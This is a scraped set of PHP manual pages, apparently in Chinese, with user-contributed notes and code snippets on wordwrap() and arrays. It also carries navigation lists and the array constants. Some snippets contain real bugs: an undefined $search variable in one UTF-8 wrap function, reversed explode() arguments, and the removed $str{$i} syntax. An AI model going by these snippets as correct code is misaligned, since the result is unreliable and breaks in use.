However, others that intend to use your function need to be aware that if they use it in conjunction with unverified data (such as raw user input from $_POST, $_GET, etcetera), they are creating potential attack vectors that can be exploited by hackers via script requests containing malicious code. This is because your function is using the preg_replace function in conjunction with the "e" flag (in order to allow the chunk_split bit to execute), which can allow execution of arbitrary code.

Solution: If there is any possibility that $str may contain unverified data (such as raw user input), ensure that the contents of $str is sanitized (such as by using htmlentities/htmlspecialchars/etc) prior to sending it to wrap($str,...).

Not a criticism; I intend to use your function, because I like it. However, just posting this as a note to other users that may not be aware of the importance of data sanitation.
ju1ius 18-Feb-2012 03:58
Another solution to utf-8 safe wordwrap, unsing regular expressions.
Pretty good performance and works in linear time.

<?php
function utf8_wordwrap($string, $width=75, $break="\n", $cut=false)
{
  if($cut) {
    // Match anything 1 to $width chars long followed by whitespace or EOS,
    // otherwise match anything $width chars long
    $search = '/(.{1,'.$width.'})(?:\s|$)|(.{'.$width.'})/uS';
    $replace = '$1$2'.$break;
  } else {
    // Anchor the beginning of the pattern with a lookahead
    // to avoid crazy backtracking when words are longer than $width
    $pattern = '/(?=\s)(.{1,'.$width.'})(?:\s|$)/uS';
    $replace = '$1'.$break;
  }
  return preg_replace($search, $replace, $string);
}
?>
Of course don't forget to use preg_quote on the $width and $break parameters if they come from untrusted input.
info at hsdn dot org 08-Jul-2011 08:41
Wordwrap with UTF-8 supports, returns as array.

<?php

function mb_wordwrap_array($string, $width)
{
    if (($len = mb_strlen($string, 'UTF-8')) <= $width)
    {
        return array($string);
    }

    $return = array();
    $last_space = FALSE;
    $i = 0;

    do
    {
        if (mb_substr($string, $i, 1, 'UTF-8') == ' ')
        {
            $last_space = $i;
        }

        if ($i > $width)
        {
            $last_space = ($last_space == 0) ? $width : $last_space;

            $return[] = trim(mb_substr($string, 0, $last_space, 'UTF-8'));
            $string = mb_substr($string, $last_space, $len, 'UTF-8');
            $len = mb_strlen($string, 'UTF-8');
            $i = 0;
        }

        $i++;
    }
    while ($i < $len);

    $return[] = trim($string);

    return $return;
}

?>
altin_bardhi at yahoo dot co dot uk 27-Jan-2011 04:03
Here I have come out with a possibly very useful wordwrap code snippet.

Apparently what this piece of code does is: it takes the entered text and looks for words longer than the defined '$chunk_length' if it finds any, it splits the long words and then it concatenates the whole string back to a new string with longer words separated by a dash character in this case.

After it has accomplished this task it then inserts an HTML line break after a specified '$line_length' (Depending on your containers width requirements)

<?php

//Start function explode_ wrap
function explode_wrap($text, $chunk_length, $line_length){

//Explode all the words separated by spaces in a string
$string_chunks = explode(' ', $text);

// Get each split word from the array $sring_chunks_array => key => value
foreach ($string_chunks as $chunk => $value) {

if(strlen($value) >= $chunk_length){

//Split the chunks/words which are longer than $chunk_length
$new_string_chunks[$chunk] = chunk_split($value, $chunk_length, ' - ');

}else {

//Do not split the normal length words
$new_string_chunks[$chunk] = $value;

}

}//End foreach loop

//Concatenate back the all the words
$new_text=implode(' ', $new_string_chunks);

return wordwrap($new_text, $line_length, '<br />');

}//End function

?>
nbenitezl[arroba]gmail[dot]com 02-Dec-2010 04:56
Hi, this function is like wordwrap but it ignores html tags, it works like wordwrap when called with fourth parameter as true. It's based on a function I find here but improved to closer match the output of wordwrap (i.e. removed spaces at start of line) and also to improve performance.

Hope it can be useful for you :-)
<?php
function htmlwrap(&$str, $maxLength, $char='<br />'){
    $count = 0;
    $newStr = '';
    $openTag = false;
    $lenstr = strlen($str);
    for($i=0; $i<$lenstr; $i++){
        $newStr .= $str{$i};
        if($str{$i} == '<'){
            $openTag = true;
            continue;
        }
        if(($openTag) && ($str{$i} == '>')){
            $openTag = false;
            continue;
        }
        if(!$openTag){
            if($str{$i} == ' '){
                if ($count == 0) {
                    $newStr = substr($newStr,0, -1);
                    continue;
                } else {
                    $lastspace = $count + 1;
                }
            }
            $count++;
            if($count==$maxLength){
                if ($str{$i+1} != ' ' && $lastspace && ($lastspace < $count)) {
                    $tmp = ($count - $lastspace)* -1;
                    $newStr = substr($newStr,0, $tmp) . $char . substr($newStr,$tmp);
                    $count = $tmp * -1;
                } else {
                    $newStr .= $char;
                    $count = 0;
                }
                $lastspace = 0;
            }
        }
    }

    return $newStr;
}
?>
ojs-hp at web dot de 30-Oct-2009 10:06
After I got some problems with my function to convert a BB-text into HTML. Long words didn't really fit into the layout and only wordwarp() also added breaks to words which would fit into the layout or destroy the other HTML-tags....
So this is my solution. Only words with strlen() >= 40 are edited with wordwarp().

<?php
function bb2html($bb) {
        $words= explode(' ', $bb); // string to array
    foreach ($words as $word) {
        $break = 0;
        for ($i = 0; $i < strlen($word); $i++) {
            if ($break >= 40) {
                $word= wordwrap($word, 40, '-<br>', true); //add <br> every 40 chars
                $break = 0;
            }
            $break++;

        }
        $newText[] = $word; //add word to array
    }
    $bb = implode(' ', $newText); //array to string
    return $bb;
}
?>
Marcin Dobruk [zuku3000 at yahoo dot co dot uk] 15-Jun-2009 02:21
Word wrap from left to right (standard) and from right to left.

<?php
function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
    if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
    if ($from=='right') {
        // string to array
        $arr_l=array();
        for ($a=0;strlen($string)>$a;$a++) $arr_l[$a]=$string{$a};
        // reverse array
        $arr_r=array_reverse($arr_l);
        // array to string
        $string_r='';
        foreach ($arr_r as $arr_line => $arr) $string_r.=$arr;
        // add wrap to reverse string
        $string_r=wordwrap($string_r, $length, $wrap, true);
        // reverse string to array
        $arr_r=array();
        for ($a=0;strlen($string_r)>$a;$a++) $arr_r[]=$string_r{$a};
        // reverse array again
        $arr_l=array_reverse($arr_r);
        // string with wrap
        $txt='';
        foreach ($arr_l as $arr_line => $arr) $txt.=$arr;
        }
    return $txt;
    }
?>
Matt at newbiewebdevelopment dot idk 04-Mar-2009 01:53
My version of multibyte wordwrap

<?php
function mb_wordwrap($string, $width=75, $break="\n", $cut = false) {
    if (!$cut) {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.',}\b#U';
    } else {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.'}#';
    }
    $string_length = mb_strlen($string,'UTF-8');
    $cut_length = ceil($string_length / $width);
    $i = 1;
    $return = '';
    while ($i < $cut_length) {
        preg_match($regexp, $string,$matches);
        $new_string = $matches[0];
        $return .= $new_string.$break;
        $string = substr($string, strlen($new_string));
        $i++;
    }
    return $return.$string;
}

$mb_string = "こんにちは";//Hello in Japanese
$cut_mb_string = mb_wordwrap($mb_string,1," ",true); //こ ん に ち は
print($cut_mb_string);
?>
php at maranelda dot org 16-Sep-2008 04:17
Anyone attempting to write a text email client should be aware of the following:

<?php

$a = "some text that must wrap nice";

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that must
//  wrap nice

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that
//  must
//  wrap
//  nice

?>

Subsequent uses of wordwrap() on already wrapped text will take the end-of-line characters into account when working out line length, thus reading each line that just fit nicely the first time around as being one character too long the second. This can be a problem when preparing a text email that contains (eg.) a forwarded email which has already been word-wrapped.

Solutions below which explode() the text on end-of-lines and wordwrap() the resulting strings separately take care of this nicely.
$del=' at '; 'sanneschaap' dot $del dot 'gmail dot com' 17-Apr-2008 01:41
These functions let you wrap strings comparing to their actual displaying width of proportional font. In this case Arial, 11px. Very handy in some cases since CSS3 is not yet completely supported. 100 strings = ~5 ms

My old sheep word wrap function (posted at the bottom of this page, is kinda old dated and this one is faster and more accurate).

<?php
//the width of the biggest char @
$fontwidth = 11;

//each chargroup has char-ords that have the same proportional displaying width
$chargroup[0] = array(64);
$chargroup[1] = array(37,87,119);
$chargroup[2] = array(65,71,77,79,81,86,89,109);
$chargroup[3] = array(38,66,67,68,72,75,78,82,83,85,88,90);
$chargroup[4] = array(35,36,43,48,49,50,51,52,53,54,55,56,57,60,61,62,63, 69,70,76,80,84,95,97,98,99,100,101,103,104,110,111,112, 113,115,117,118,120,121,122,126);
$chargroup[5] = array(74,94,107);
$chargroup[6] = array(34,40,41,42,45,96,102,114,123,125);
$chargroup[7] = array(44,46,47,58,59,91,92,93,116);
$chargroup[8] = array(33,39,73,105,106,108,124);

//how the displaying width are compared to the biggest char width
$chargroup_relwidth[0] = 1; //is char @
$chargroup_relwidth[1] = 0.909413854;
$chargroup_relwidth[2] = 0.728241563;
$chargroup_relwidth[3] = 0.637655417;
$chargroup_relwidth[4] = 0.547069272;
$chargroup_relwidth[5] = 0.456483126;
$chargroup_relwidth[6] = 0.36589698;
$chargroup_relwidth[7] = 0.275310835;
$chargroup_relwidth[8] = 0.184724689;

//build fast array
$char_relwidth = null;
for ($i=0;$i<count($chargroup);$i++){
    for ($j=0;$j<count($chargroup[$i]);$j++){
        $char_relwidth[$chargroup[$i][$j]] = $chargroup_relwidth[$i];
    }
}

//get the display width (in pixels) of a string
function get_str_width($str){
    global $fontwidth,$char_relwidth;
    $result = 0;
    for ($i=0;$i<strlen($str);$i++){
        $result += $char_relwidth[ord($str[$i])];
    }
    $result = $result * $fontwidth;
    return $result;
}

//truncates a string at a certain displaying pixel width
function truncate_str_at_width($str, $width, $trunstr='...'){
    global $fontwidth,$char_relwidth;
    $trunstr_width = get_str_width($trunstr);
    $width -= $trunstr_width;
    $width = $width/$fontwidth;
    $w = 0;
    for ($i=0;$i<strlen($str);$i++){
        $w += $char_relwidth[ord($str[$i])];
        if ($w > $width)
            break;
    }
    $result = substr($str,0,$i).$trunstr;
    return $result;
    // texas is the reason rules at 10am :)
}
?>
joachim 16-Apr-2008 02:42
There seems to be a difference between php 5.1 and 5.2 in how wordwrap counts characters (all on Mac OSX 10.5.2):

/Applications/MAMP/bin/php5/bin/php --version
PHP 5.1.6 (cli) (built: Sep  8 2006 10:25:04)

/Applications/MAMP/bin/php5/bin/php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft
(50)_UT

php --version
PHP 5.2.5 (cli) (built: Feb 20 2008 12:30:47)

php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft (50)_UT
Peter 19-Dec-2006 05:00
The main concern when you have a text in a cell is for long words that drags the cell margins. This function will break words in a text that have more then $nr characters using the "-" char.

<?php
function processtext($text,$nr=10)
    {
        $mytext=explode(" ",trim($text));
        $newtext=array();
        foreach($mytext as $k=>$txt)
        {
            if (strlen($txt)>$nr)
            {
                $txt=wordwrap($txt, $nr, "-", 1);
            }
            $newtext[]=$txt;
        }
        return implode(" ",$newtext);
    }
?>
Dave Lozier - dave at fusionbb.com 30-Nov-2005 12:48
If you'd like to break long strings of text but avoid breaking html you may find this useful. It seems to be working for me, hope it works for you. Enjoy. :)

<?php
    function textWrap($text) {
        $new_text = '';
        $text_1 = explode('>',$text);
        $sizeof = sizeof($text_1);
        for ($i=0; $i<$sizeof; ++$i) {
            $text_2 = explode('<',$text_1[$i]);
            if (!empty($text_2[0])) {
                $new_text .= preg_replace('#([^\n\r .]{25})#i', '\\1  ', $text_2[0]);
            }
            if (!empty($text_2[1])) {
                $new_text .= '<' . $text_2[1] . '>';
            }
        }
        return $new_text;
    }
?>
frans-jan at van-steenbeek dot R-E-M-O-V-E dot net 16-Nov-2005 06:17
Using wordwrap is usefull for formatting email-messages, but it has a disadvantage: line-breaks are often treated as whitespaces, resulting in odd behaviour including lines wrapped after just one word.

To work around it I use this:

<?php
 function linewrap($string, $width, $break, $cut) {
  $array = explode("\n", $string);
  $string = "";
  foreach($array as $key => $val) {
   $string .= wordwrap($val, $width, $break, $cut);
   $string .= "\n";
  }
  return $string;
 }
?>

I then use linewrap() instead of wordwrap()

hope this helps someone
bruceboughton @ google mail 04-May-2005 03:08
I found that wordwrap deletes the spaces it wraps on. If you want to break up a string which doesn't consist of words, you may find this behaviour undesirable, as I did when trying to wordwrap a Regular Expression to 80 characters (for display along with test string, matches, etc.).

To preserve the spaces and still achieve a consistent cut length, you need to replace spaces with a suitable one-character replacement. I chose the ASCII non-printing character SUB (ASCII #26; some old telephone code meaning substitute):

<?php
$regex= str_replace(' ', chr(26), $regex);
$regex= wordwrap($regex, 80, '<br />', TRUE);
$regex= str_replace(chr(26), ' ', $regex);
?>

(Of course, you need to replace 80 with your column length and '<br />' with your break string)


变量与类型相关扩展

  • 数组
    • 简介
    • 安装/配置
    • 预定义常量
    • 对数组进行排序
    • 数组 函数
  • 类/对象 — 类/对象的信息
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • 类/对象 函数
  • Ctype — 字符类型检测
    • 简介
    • 安装/配置
    • 预定义常量
    • Ctype 函数
  • 过滤器 — 数据过滤器
    • 简介
    • 安装/配置
    • 过滤器类型
    • 预定义常量
    • 示例
    • 过滤器函数
  • 函数处理
    • 简介
    • 安装/配置
    • 预定义常量
    • 函数处理 函数
  • Quickhash
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • QuickHashIntSet — The QuickHashIntSet class
    • QuickHashIntHash — The QuickHashIntHash class
    • QuickHashStringIntHash — The QuickHashStringIntHash class
    • QuickHashIntStringHash — The QuickHashIntStringHash class
  • 反射
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • 扩展
    • Reflection — Reflection 类
    • ReflectionClass — ReflectionClass 类
    • ReflectionClassConstant — The ReflectionClassConstant class
    • ReflectionEnum — ReflectionEnum 类
    • ReflectionEnumUnitCase — ReflectionEnumUnitCase 类
    • ReflectionEnumBackedCase — ReflectionEnumBackedCase 类
    • ReflectionZendExtension — ReflectionZendExtension 类
    • ReflectionExtension — ReflectionExtension 类
    • ReflectionFunction — ReflectionFunction 类
    • ReflectionFunctionAbstract — ReflectionFunctionAbstract 类
    • ReflectionMethod — ReflectionMethod 类
    • ReflectionNamedType — ReflectionNamedType 类
    • ReflectionObject — ReflectionObject 类
    • ReflectionParameter — ReflectionParameter 类
    • ReflectionProperty — ReflectionProperty 类
    • ReflectionType — ReflectionType 类
    • ReflectionUnionType — ReflectionUnionType 类
    • ReflectionGenerator — ReflectionGenerator 类
    • ReflectionFiber — ReflectionFiber 类
    • ReflectionIntersectionType — ReflectionIntersectionType 类
    • ReflectionReference — ReflectionReference 类
    • ReflectionAttribute — ReflectionAttribute 类
    • Reflector — Reflector 接口
    • ReflectionException — ReflectionException 类
  • 变量处理
    • 简介
    • 安装/配置
    • 预定义常量
    • 变量处理函数

User Contributed Notes

There are no user contributed notes for this page.


数组

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 对数组进行排序
  • 数组 函数
    • array_change_key_case — 将数组中的所有键名修改为全大写或小写
    • array_chunk — 将一个数组分割成多个
    • array_column — 返回输入数组中指定列的值
    • array_combine — 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
    • array_count_values — 统计数组中每个不同值的出现次数
    • array_diff_assoc — 带索引检查计算数组的差集
    • array_diff_key — 使用键名比较计算数组的差集
    • array_diff_uassoc — 用用户提供的回调函数做索引检查来计算数组的差集
    • array_diff_ukey — 用回调函数对键名比较计算数组的差集
    • array_diff — 计算数组的差集
    • array_fill_keys — 使用指定的键和值填充数组
    • array_fill — 用给定的值填充数组
    • array_filter — 使用回调函数过滤数组的元素
    • array_flip — 交换数组中的键和值
    • array_intersect_assoc — 带索引检查计算数组的交集
    • array_intersect_key — 使用键名比较计算数组的交集
    • array_intersect_uassoc — 带索引检查计算数组的交集，用回调函数比较索引
    • array_intersect_ukey — 在键名上使用回调函数来比较计算数组的交集
    • array_intersect — 计算数组的交集
    • array_is_list — 判断给定的 array 是否为 list
    • array_key_exists — 检查数组里是否有指定的键名或索引
    • array_key_first — 获取指定数组的第一个键
    • array_key_last — 获取一个数组的最后一个键值
    • array_keys — 返回数组中部分的或所有的键名
    • array_map — 为数组的每个元素应用回调函数
    • array_merge_recursive — 递归地合并一个或多个数组
    • array_merge — 合并一个或多个数组
    • array_multisort — 对多个数组或多维数组进行排序
    • array_pad — 以指定长度将一个值填充进数组
    • array_pop — 弹出数组最后一个单元（出栈）
    • array_product — 计算数组中所有值的乘积
    • array_push — 将一个或多个单元压入数组的末尾（入栈）
    • array_rand — 从数组中随机取出一个或多个随机键
    • array_reduce — 用回调函数迭代地将数组简化为单一的值
    • array_replace_recursive — 使用传递的数组递归替换第一个数组的元素
    • array_replace — 使用传递的数组替换第一个数组的元素
    • array_reverse — 返回单元顺序相反的数组
    • array_search — 在数组中搜索给定的值，如果成功则返回首个相应的键名
    • array_shift — 将数组开头的单元移出数组
    • array_slice — 从数组中取出一段
    • array_splice — 去掉数组中的某一部分并用其它值取代
    • array_sum — 对数组中所有值求和
    • array_udiff_assoc — 带索引检查计算数组的差集，用回调函数比较数据
    • array_udiff_uassoc — 带索引检查计算数组的差集，用回调函数比较数据和索引
    • array_udiff — 用回调函数比较数据来计算数组的差集
    • array_uintersect_assoc — 带索引检查计算数组的交集，用回调函数比较数据
    • array_uintersect_uassoc — 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
    • array_uintersect — 计算数组的交集，用回调函数比较数据
    • array_unique — 移除数组中重复的值
    • array_unshift — 在数组开头插入一个或多个单元
    • array_values — 返回数组中所有的值
    • array_walk_recursive — 对数组中的每个成员递归地应用用户函数
    • array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
    • array — 新建一个数组
    • arsort — 对数组进行降向排序并保持索引关系
    • asort — 对数组进行升序排序并保持索引关系
    • compact — 建立一个数组，包括变量名和它们的值
    • count — 统计数组、Countable 对象中所有元素的数量
    • current — 返回数组中的当前值
    • each — 返回数组中当前的键／值对并将数组指针向前移动一步
    • end — 将数组的内部指针指向最后一个单元
    • extract — 从数组中将变量导入到当前的符号表
    • in_array — 检查数组中是否存在某个值
    • key_exists — 别名 array_key_exists
    • key — 从关联数组中取得键名
    • krsort — 对数组按照键名逆向排序
    • ksort — 对数组根据键名升序排序
    • list — 把数组中的值赋给一组变量
    • natcasesort — 用“自然排序”算法对数组进行不区分大小写字母的排序
    • natsort — 用“自然排序”算法对数组排序
    • next — 将数组中的内部指针向前移动一位
    • pos — current 的别名
    • prev — 将数组的内部指针倒回一位
    • range — 根据范围创建数组，包含指定的元素
    • reset — 将数组的内部指针指向第一个单元
    • rsort — 对数组降序排序
    • shuffle — 打乱数组
    • sizeof — count 的别名
    • sort — 对数组升序排序
    • uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联
    • uksort — 使用用户自定义的比较函数对数组中的键名进行排序
    • usort — 使用用户自定义的比较函数对数组中的值进行排序

User Contributed Notes

justin at jmfrazier dot com 12-Feb-2020 08:34
Using null as the key when setting an array value is NOT the same as using empty [].
<?php
  $null = null;
  $testArray = [];
  $testArray[$null] = 1;
  $testArray[$null] = 2;
  $testArray[$null] = 3;
  $testArray[$null] = 4;
  var_dump($testArray);
?>
Output:
array(1) {
  '' =>
  int(4)
}

<?php
  $testArray = [];
  $testArray[null] = 1;
  $testArray[null] = 2;
  $testArray[null] = 3;
  $testArray[null] = 4;
  var_dump($testArray);
?>
Output:
array(1) {
  '' =>
  int(4)
}

<?php
  $testArray = [];
  $testArray[] = 1;
  $testArray[] = 2;
  $testArray[] = 3;
  $testArray[] = 4;
  var_dump($testArray);
?>
Output:
array(4) {
  [0] =>
  int(1)
  [1] =>
  int(2)
  [2] =>
  int(3)
  [3] =>
  int(4)
}
web at houhejie dot cn 06-Dec-2017 02:16
string2array($str):

$arr=json_decode('["fileno",["uid","uname"],"topingid",["touid",[1,2,[3,4]],"touname"]]');
print_r($arr);

output:
Array ( [0] => fileno [1] => Array ( [0] => uid [1] => uname ) [2] => topingid [3] => Array ( [0] => touid [1] => Array ( [0] => 1 [1] => 2 [2] => Array ( [0] => 3 [1] => 4 ) ) [2] => touname ) )

when I hope a function string2array($str), "spam2"  suggest this. and It works well~~~hope this helps us,  and add to the Array function list
gratcypalma at gmail dot com 09-Sep-2013 09:57
<?php
function foo() {
    return array('name' => 'palma', 'old' => 23, 'language' => 'PHP');
}
/* 1. PHP < 5.4.0 */
$a = foo();
var_dump($a['name']);

/* 2. Works ini PHP >= 5.4.0 */

var_dump(foo()['name']);

/*
When i run second method on PHP 5.3.8 i will be show error message "PHP Fatal error:  Can't use method return value in write context"

http://www.php.net/manual/en/migration54.new-features.php
*/
spereversev at envionsoftware dot com 10-Jul-2012 10:29
<?php
function array_mask(array $array, array $keys) {
    return array_intersect_key( $array, array_fill_keys( $keys, 0 ) );
}
?>

Might be helpful to take a part of associative array containing given keys, for example, from a $_REQUEST array

array_mask($_REQUEST, array('name', 'email'));
info at curtinsNOSPAMcreations dot com 05-Nov-2010 07:49
Another way to create a multidimensional array that looks a lot cleaner is to use json_decode.  (Note that this probably adds a touch of overhead, but it sure does look nicer.)  You can of course add as many levels and as much formatting as you'd like to the string you then decode.  Don't forget that json requires " around values, not '!!  (So, you can't enclose the json string with " and use ' inside the string.)

As an example:

<?php
    $myarray['blah'] = json_decode('[
        {"label":"foo","name":"baz"},
        {"label":"boop","name":"beep"}
    ]',true);

print_r($myarray)
?>
returns:

Array
(
    [blah] => Array
        (
            [0] => Array
                (
                    [label] => foo
                    [name] => baz
                )

            [1] => Array
                (
                    [label] => boop
                    [name] => beep
                )
        )
)
dragos dot rusu at NOSPAM dot bytex dot ro 07-Mar-2010 06:15
If an array item is declared with key as NULL, array key will automatically be converted to empty string '', as follows:

<?php
$a = array(
    NULL => 'zero',
    1    => 'one',
    2    => 'two');

// This will show empty string for key associated with "zero" value
var_dump(array_keys($a));

// Array elements are shown
reset($a);
while( key($a) !== NULL )
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}

// Array elements are not shown
reset($a);
while( key($a) != NULL ) // '' == null   => no iteration will be executed
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}
John Marc 15-Feb-2010 01:30
Be careful when adding elements to a numeric array.
I wanted to store some info about some items from a database and decided to use the record id as a key.

<?php
$key=3000000000;
$DATA[$key]=true;
?>

This will create an array of 30 million elements and chances are, you will use up all memory with these 2 lines

<?php
$key=3000000000;
$DATA["$key"]=true;
?>

This on the other hand will force the array to be an associative array and will only create the one element
sunear at gmail dot com 04-Aug-2009 10:45
Made this function to delete elements in an array;

<?php

function array_del_elm($input_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    $del_indexes = null;

    $cur_index = 0;
    if (sort($indexes)) for($i=0; $i<count($input_array); $i++) {
        if ($i == $indexes[$cur_index]) {
            $cur_index++;
            if ($cur_index == count($indexes)) return $output_array;
            continue;
        }
        $output_array[] = $input_array[$i];
    }
    return $output_array;
}

?>

but then i saw the methods of doing the same by Tyler Bannister & Paul, could see that theirs were faster, but had floors regarding deleting multiple elements thus support of several ways of giving parameters. I combined the two methods to this to this:

<?php

function array_del_elm($target_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    unset($del_indexes);

    for($i=0; $i<count($indexes); $i++) {
        unset($target_array[$indexes[$i]]);
    }
    return $target_array;
}

?>

Fast, compliant and functional ;)
Tyler Bannister 11-Jun-2009 06:59
To delete an individual array element use the unset function

For example:

<?PHP
    $arr = array( "A", "B", "C" );
    unset( $arr[1] );
    // now $arr = array( "A", "C" );
?>

Unlink is for deleting files.
thomasdecaux at ebuildy dot com 15-May-2009 01:14
To browse a simple array:

<?php

foreach ($myArray AS $myItem)
{

}

?>

To browse an associative array:

<?php

foreach ($myArray AS $key=>$value)
{

}

?>

http://www.ebuildy.com
macnimble at gmail dot com 27-Mar-2009 06:59
Converting a linear array (like a mysql record set) into a tree, or multi-dimensional array can be a real bugbear. Capitalizing on references in PHP, we can 'stack' an array in one pass, using one loop, like this:

<?php
# array_stack()
# Original idea from:
# http://www.ideashower.com/our_solutions/
#   create-a-parent-child-array-structure-in-one-pass/
function array_stack (&$a, $p = '@parent', $c = '@children')
{
  $l = $t = array();
  foreach ($a AS $key => $val):
    if (!$val[$p]) $t[$key] =& $l[$key];
    else $l[$val[$p]][$c][$key] =& $l[$key];
    $l[$key] = (array)$l[$key] + $val;
  endforeach;
  return $a = array('tree' => $t, 'leaf' => $l);
}

# Example:
$node = array();
$node[1] = array('@parent' => 0, 'title' => 'I am node 1.');
#     ^-----------------------v Link @parent value to key.
$node[2] = array('@parent' => 1, 'title' => 'I am node 2.');
$node[3] = array('@parent' => 2, 'title' => 'I am node 3.');
$node[4] = array('@parent' => 1, 'title' => 'I am node 4.');
$node[5] = array('@parent' => 4, 'title' => 'I am node 5.');

array_stack($node);

$node['leaf'][1]['title'] = 'I am node one.';
$node['leaf'][2]['title'] = 'I am node two.';
$node['leaf'][3]['title'] = 'I am node three.';
$node['leaf'][4]['title'] = 'I am node four.';
$node['leaf'][5]['title'] = 'I am node five.';

echo '<pre>',print_r($node['tree'],TRUE),'</pre>';
?>

Note that there's no parameter checking on the array value, but this is only to keep the function size small. One could easily a quick check in there to make sure the $a parameter was in fact an array.

Hope you find it useful. Huge thanks to Nate Weiner of IdeaShower.com for providing the original function I built on.
andyd273 at gmail dot com 24-Feb-2009 01:12
A small correction to Endel Dreyer's PHP array to javascript array function. I just changed it to show keys correctly:

            function array2js($array,$show_keys)
            {
                $dimensoes = array();
                $valores = array();

                $total = count ($array)-1;
                $i=0;
                foreach($array as $key=>$value){
                    if (is_array($value)) {
                        $dimensoes[$i] = array2js($value,$show_keys);
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    } else {
                        $dimensoes[$i] = '"'.addslashes($value).'"';
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    }
                    if ($i==0) $dimensoes[$i] = '{'.$dimensoes[$i];
                    if ($i==$total) $dimensoes[$i].= '}';
                    $i++;
                }
                return implode(',',$dimensoes);
            }
Anonymous 26-Nov-2008 10:36
@jorge at andrade dot cl
This variant is faster:
<?php
function array_avg($array,$precision=2){
    if(!is_array($array))
        return 'ERROR in function array_avg(): this is a not array';

    foreach($array as $value)
        if(!is_numeric($value))
            return 'ERROR in function array_avg(): the array contains one or more non-numeric values';

    $cuantos=count($array);
  return round(array_sum($array)/$cuantos,$precision);
}
?>
webmaster at infoproducts dot x10hosting dot com 10-Oct-2008 07:13
New value can also be added to the array as shown below.
$theVariable["google"] = "http//google.com";
or
$theVariable["1"] = "http//google.com";
Jack A 07-Oct-2008 08:14
Note that arrays are not allowed in class constants and trying to do so will throw a fatal error.
contact at greyphoenix dot biz 30-Jun-2008 09:36
<?php
//Creating a multidimensional array

$theVariable = array("Search Engines" =>
array (
    0=> "http//google.com",
    1=> "http//yahoo.com",
    2=> "http//msn.com/"),

"Social Networking Sites" =>
array (
    0 => "http//www.facebook.com",
    1 => "http//www.myspace.com",
    2 => "http//vkontakte.ru",)
);

echo "The first array value is " . $theVariable['Search Engines'][0];
?>

-- Output--
The first array value is http://google.com
applegrew at rediffmail dot com 28-May-2008 08:23
For newbies like me.

Creating new arrays:-
//Creates a blank array.
$theVariable = array();

//Creates an array with elements.
$theVariable = array("A", "B", "C");

//Creating Associaive array.
$theVariable = array(1 => "http//google.com", 2=> "http://yahoo.com");

//Creating Associaive array with named keys
$theVariable = array("google" => "http//google.com", "yahoo"=> "http://yahoo.com");

Note:
New value can be added to the array as shown below.
$theVariable[] = "D";
$theVariable[] = "E";


简介

这些函数允许你通过不同的方式来使用和操作数组。数组是存储、管理和操作变量组的必不可少的工具。

PHP 支持简单数组和多维数组，数组可由用户自己创建也可以由其它函数创建。有很多特殊的数据库处理函数可以从数据库查询中返回数组以及一些返回数组的函数。

请参考手册中有关数组的章节来详细了解 PHP 中数组是如何实现及使用的。也可以参考 数组操作符来了解操作数组的一些其它方式。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

CASE_LOWER (int)
CASE_LOWER 用在 array_change_key_case() 中将数组的键名转换成小写字母。这也是 array_change_key_case() 的默认值。从 PHP 8.2.0 开始，只转换 ASCII 字符。
CASE_UPPER (int)
CASE_UPPER 用在 array_change_key_case() 中将数组的键名转换成大写字母。从 PHP 8.2.0 开始，只转换 ASCII 字符。

排序顺序标识：

SORT_ASC (int)
SORT_ASC 用在 array_multisort() 函数中，使其升序排列。
SORT_DESC (int)
SORT_DESC 用在 array_multisort() 函数中，使其降序排列。

排序类型标识：用于各种排序函数

SORT_REGULAR (int)
SORT_REGULAR 用于对对象进行通常比较。
SORT_NUMERIC (int)
SORT_NUMERIC 用于对对象进行数值比较。
SORT_STRING (int)
SORT_STRING 用于对对象进行字符串比较。
SORT_LOCALE_STRING (int)
SORT_LOCALE_STRING 基于当前区域来对对象进行字符串比较。
SORT_NATURAL (int)
SORT_NATURAL 用于对元素作为字符串使用"自然排序"（像是 natsort() ）比较。
SORT_FLAG_CASE (int)
SORT_FLAG_CASE 可以跟 SORT_STRING 或者 SORT_NATURAL 组合（按位或（OR））对字符串进行大小写不敏感排序。从 PHP 8.2.0 开始，只转换 ASCII 字符。

过滤器 flags:

ARRAY_FILTER_USE_KEY (int)
ARRAY_FILTER_USE_KEY 用于 array_filter() 将每个键作为第一个参数传递给指定回调函数。
ARRAY_FILTER_USE_BOTH (int)
ARRAY_FILTER_USE_BOTH 用于 array_filter() 将值和键传递给指定回调函数。

COUNT_NORMAL (int)
COUNT_RECURSIVE (int)
EXTR_OVERWRITE (int)
EXTR_SKIP (int)
EXTR_PREFIX_SAME (int)
